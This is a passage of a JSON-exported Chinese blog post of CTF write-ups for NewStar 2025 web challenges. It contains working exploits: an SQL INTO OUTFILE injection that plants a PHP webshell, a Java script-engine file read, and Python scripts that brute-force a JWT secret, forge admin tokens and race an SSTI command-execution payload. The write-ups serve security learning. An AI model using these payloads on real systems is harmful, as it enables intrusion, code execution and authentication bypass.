class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225217389.png\" alt=\"image-20251130225217389\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u53ef\u4ee5\u63a7\u5236 order \u53c2\u6570\u5c06 filename \u5199\u5165\u5230\u6587\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fc7\u6293\u5305\u4f20\u4e00\u4e2a\u6587\u4ef6\u540d\u662f\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u4e1c\u897f\u4e0a\u53bb<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225233805.png\" alt=\"image-20251130225233805\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u5b83\u4fdd\u5b58\u57281.php<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?order=upload_time INTO OUTFILE '\/var\/www\/html\/1.php'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee1.php\uff0cpost\u4f20\u547d\u4ee4<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u662f\u76f4\u63a5\u8bfb\u53d6 \/readFlag\u662f\u8bfb\u4e0d\u4e86\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225409391.png\" alt=\"image-20251130225409391\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u91cd\u5b9a\u5411\u52302.txt\uff0c\u76f4\u63a5\u8bfb2.txt<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1=system('\/readFlag&gt;2.txt');<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130225801015.png\" alt=\"image-20251130225801015\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u62ff\u5230flag<\/p>\n\n\n\n<h2 id=\"11-newstar2025-week5-\u773c\u719f\u7684\u8ba1\u7b97\u5668\" class=\"wp-block-heading\">11.NewStar2025-week5 \u773c\u719f\u7684\u8ba1\u7b97\u5668<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/\n\/\/ Source code recreated from a .class file by IntelliJ IDEA\n\/\/ (powered by FernFlower decompiler)\n\/\/\n\npackage org.example.newstar.controller;\n\nimport javax.script.ScriptEngineManager;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.ui.Model;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\n\n@Controller\npublic class NewstarController {\n    private String&#091;] BLACKLIST = new String&#091;]{\"import\", \"java.lang.Runtime\", \"new\"};\n\n    private String calculate(String content) throws Exception {\n        for(String word : this.BLACKLIST) {\n            if (content.contains(word)) {\n                return \"Blacklisted word detected: \" + word;\n            }\n        }\n\n        Object result = (new ScriptEngineManager()).getEngineByName(\"js\").eval(content);\n        return result.toString();\n    }\n\n    @GetMapping({\"\/\"})\n    public String home(Model model) throws Exception {\n        return \"index\";\n    }\n\n    @GetMapping({\"\/calc\"})\n    public String status(@RequestParam(\"content\") String content, Model model) throws Exception {\n        model.addAttribute(\"result\", this.calculate(content));\n        return \"index\";\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u76f4\u63a5ai\u68ad\u54c8,\u731c\/flag<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Java.type('java.nio.file.Files').readAllLines(Java.type('java.nio.file.Paths').get(\"\/flag\"),Java.type('java.nio.charset.StandardCharsets').UTF_8).toString()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/bucketqiao123456.oss-cn-beijing.aliyuncs.com\/image-20251130230036669.png\" alt=\"image-20251130230036669\" \/><\/figure>\n\n\n\n<h2 id=\"12-newstar2025-week5-\u5e9f\u5f03\u7684\u7f51\u7ad9\" class=\"wp-block-heading\">12.NewStar2025-week5 \u5e9f\u5f03\u7684\u7f51\u7ad9<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from flask import Flask, request, render_template, abort, redirect, render_template_string\nimport jwt, hashlib, time\n\napp = Flask(__name__)\ntime_started = round(time.time())\nprint(f\"System started at {time_started}\")\nAPP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()\n\ntempuser = None\n\nUSER_DB = {\n    \"admin\": {\"id\": 1, \"role\": \"admin\", \"name\": \"Administrator\"},\n    \"guest\": {\"id\": 2, \"role\": \"guest\", \"name\": \"Guest User\"},\n}\n\ndef admin_required(f):\n    def wrapper(*args, **kwargs):\n        cookie = request.cookies.get('session', None)\n        if cookie is None:\n\n            response = redirect('\/')\n            session = jwt.encode(USER_DB&#091;'guest'], APP_SECRET, algorithm='HS256')\n            response.set_cookie('session', session)\n            return response\n        try:\n            user_data = jwt.decode(cookie, APP_SECRET, algorithms=&#091;'HS256'])\n            if user_data&#091;'role'] != 'admin':\n                abort(403, description=\"Admin access required.\")\n            if user_data&#091;'name'] != 'Administrator':\n                abort(403, description=\"Admin access required.\")\n            time.sleep(0.15)    \n        except jwt.InvalidTokenError:\n            abort(401, description = f\"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.\")\n        return f(*args, **kwargs)\n    wrapper.__name__ = f.__name__\n    return wrapper\n\n@app.before_request    #Flask\u7684\u8bf7\u6c42\u94a9\u5b50\uff0c\u5b83\u4f1a\u5728\u6bcf\u4e2ahttp\u8bf7\u6c42\u5904\u7406\u4e4b\u524d\u81ea\u52a8\u6267\u884c\ndef load_user():\n    if request.endpoint == 'static':\n        return\n    global tempuser    #\u5168\u5c40\u53d8\u91cf\n    cookie = request.cookies.get('session', None)\n    if cookie is None:\n        tempuser = USER_DB&#091;'guest']\n        session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')\n        response = redirect(request.path)\n        response.set_cookie('session', session)\n        return response\n    try:\n        user_data = jwt.decode(cookie, APP_SECRET, algorithms=&#091;'HS256'])\n        tempuser = user_data    \n    except jwt.InvalidTokenError:\n        session = jwt.encode(USER_DB&#091;'guest'], APP_SECRET, algorithm='HS256')\n        content = render_template_string(\n            \"Session expired. Please log in again. System has been running %d seconds.\" %\n            (round(time.time() - time_started))\n        )\n        response = app.make_response((content, 401))\n        response.set_cookie('session', session)\n        return response\n\n@app.route('\/', methods=&#091;'GET'])\ndef home():\n    return render_template('index.html')\n\n\n@app.route(\"\/admin\", methods=&#091;'GET'])\n@admin_required\ndef admin_panel():\n    global tempuser\n    return render_template_string(\"Welcome Back, %s\" % tempuser&#091;'name'])\n\n@app.route(\"\/static\/&lt;path:filename&gt;\", methods=&#091;'GET'])\ndef serve_static(filename):\n    if not filename.endswith('.png'):\n        abort(403, description=\"Only .png files are allowed.\")\n    return app.send_static_file(filename)\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\", port=5000)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0render_template_string\u7684ssti\uff0c\u4f46\u662f\u60f3\u6267\u884c\u547d\u4ee4\u8981admin\uff0c\u5bc6\u94a5\u662f\u670d\u52a1\u5668\u542f\u52a8\u65f6\u95f4\uff0c\u5f53jwt\u89e3\u6790\u9519\u8bef\u5c31\u4f1a\u56de\u663e\u7cfb\u7edf\u8fd0\u884c\u7684\u65f6\u95f4\uff0c\u8003\u8651\u65f6\u95f4\u8bef\u5dee\uff0c\u8ba1\u7b97\u51fa\u7684\u65f6\u95f4\u8981+-1\u8bd5\u8bd5\uff0c\u6240\u4ee5\u5199\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport time\nimport hashlib\nimport re\n\ndef get_app_secret():\n    target_url = \"http:\/\/8.147.132.32:24710\/admin\"\n    cookies = {\n        'td_cookie': '2928931217',\n        'session': '1'\n    }\n\n    try:\n        response = requests.get(target_url, cookies=cookies, timeout=5)\n        match = re.search(r'System has been running (d+) seconds', response.text)\n        if match:\n            uptime = int(match.group(1))\n            current_time = int(time.time())\n\n            # \u8003\u8651\u65f6\u95f4\u8bef\u5dee\uff0c\u8ba1\u7b97\u591a\u4e2a\u53ef\u80fd\u7684\u542f\u52a8\u65f6\u95f4\n            for offset in range(-1, 2):  \n                time_started = current_time - uptime + offset\n                app_secret = hashlib.sha256(str(time_started).encode()).hexdigest()\n\n                print(f\"\u542f\u52a8\u65f6\u95f4({offset}): {time_started}\")\n                print(f\"\u5bc6\u94a5({offset}): {app_secret}\")\n                print(\"-\" * 50)\n        else:\n            print(\"\u65e0\u6cd5\u63d0\u53d6\u8fd0\u884c\u65f6\u95f4\")\n    except Exception as e:\n        print(f\"\u8bf7\u6c42\u5931\u8d25: {e}\")\n\nif __name__ == \"__main__\":\n    get_app_secret()<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f2a\u9020admin<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import jwt\nimport datetime\n\n# \u5b9a\u4e49\u6807\u5934\uff08Headers\uff09\nheaders = {\n  \"alg\": \"HS256\",\n  \"typ\": \"JWT\"\n}\n\n# \u5b9a\u4e49\u6709\u6548\u8f7d\u4f53\uff08Payload\uff09\ntoken_dict = {\n  \"id\": 1,\n  \"role\": \"admin\",\n  \"name\": \"Administrator\"\n}\n\n# \u5bc6\u94a5\nsecret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'\n\njwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)\nprint(\"JWT Token:\", jwt_token)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport threading\nimport jwt\n\ntarget_url = \"http:\/\/8.147.132.32:24710\"\nsecret = 'c484d1e6ed651fc48231d0629ec282172fe9f41c0d74fd8c2ea34bc325ca8b83'\n\n# \u521b\u5efa\u4e24\u4e2atoken\nadmin_token = jwt.encode({\"id\": 1, \"role\": \"admin\", \"name\": \"Administrator\"}, secret, algorithm='HS256')\nssti_token = jwt.encode({\"id\": 2, \"role\": \"guest\", \"name\": \"{{lipsum.__globals__.os.popen('cat \/f*').read()}}\"}, secret, algorithm='HS256')\n\ndef send_admin_request():\n    \"\"\"\u53d1\u9001admin\u8bf7\u6c42\"\"\"\n    cookies = {'td_cookie': '2928931217', 'session': admin_token}\n    response = requests.get(f\"{target_url}\/admin\", cookies=cookies)\n    print(f\"&#091;+] \u6210\u529f! \u54cd\u5e94: {response.text}\")\n\ndef send_ssti_request():\n    \"\"\"\u53d1\u9001SSTI\u8bf7\u6c42\u5230\u9996\u9875\u6765\u8bbe\u7f6etempuser\"\"\"\n    cookies = {'td_cookie': '2928931217', 'session': ssti_token}\n    response = requests.get(target_url, cookies=cookies)  # \u8bbf\u95ee\u9996\u9875\u6765\u8bbe\u7f6etempuser\n    # \u8fd9\u91cc\u4e0d\u9700\u8981\u6253\u5370\uff0c\u56e0\u4e3a\u6211\u4eec\u53ea\u5173\u5fc3admin\u8bf7\u6c42\u7684\u7ed3\u679c\n\n# \u521b\u5efa\u5e76\u542f\u52a8\u7ebf\u7a0b\nfor i in range(100):  # \u5c1d\u8bd5100\u6b21\n    t1 = threading.Thread(target=send_admin_request)\n    t2 = threading.Thread(target=send_ssti_request)\n    t1.start()\n    t2.start()\n    t1.join()\n    t2.join()<\/code><\/pre>\n\n\n\n<h2 id=\"\u4e0b\u5468\u76ee\u6807\" class=\"wp-block-heading\">\u4e0b\u5468\u76ee\u6807<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u5269\u4e0b\u7684\u90a3\u9053\u9898\u6253\u901a\uff0c\u5e76\u5c3d\u529b\u6253isctf\u5427<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6587\u7ae0\u76f4\u8fbe\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/shaneior.github.io\/2025\/11\/26\/%E4%BD%A0%E7%BC%BA%E5%A4%B1%E7%9A%84%E9%82%A3%E9%97%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%AF%BE\n<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>UKY\u6218\u961f\u5468\u62a5\u5408\u96c6\u2014\u2014\u8bb0\u5f55\u4ece2025\u5e7410\u6708\u8d77\u7684CTF\u5b66\u4e60\u5386\u7a0b\uff0c\u6db5\u76d6NewStar CTF\u590d\u73b0\u3001PHP\u4ee3\u7801\u5ba1\u8ba1\u3001\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u3001SQL\u6ce8\u5165\u3001\u53cd\u5e8f\u5217\u5316\u7b49Web\u5b89\u5168\u65b9\u5411\u7684\u5b9e\u6218\u7b14\u8bb0\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,8],"tags":[34,43,45,49,36,44,47,48,46,6,5],"class_list":["post-38","post","type-post","status-publish","format-standard","hentry","category-rz","category-zs","tag-ctf","tag-php","tag-sql","tag-uky","tag-web","tag-44","tag-47","tag-48","tag-46","tag-6","tag-5"],"blocksy_meta":[],"_links":{"self":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/comments?post=38"}],"version-history":[{"count":2,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions"}],"predecessor-version":[{"id":131,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/posts\/38\/revisions\/131"}],"wp:attachment":[{"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/media?parent=38"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/categories?post=38"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fisssssh.top\/index.php\/wp-json\/wp\/v2\/tags?post=38"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}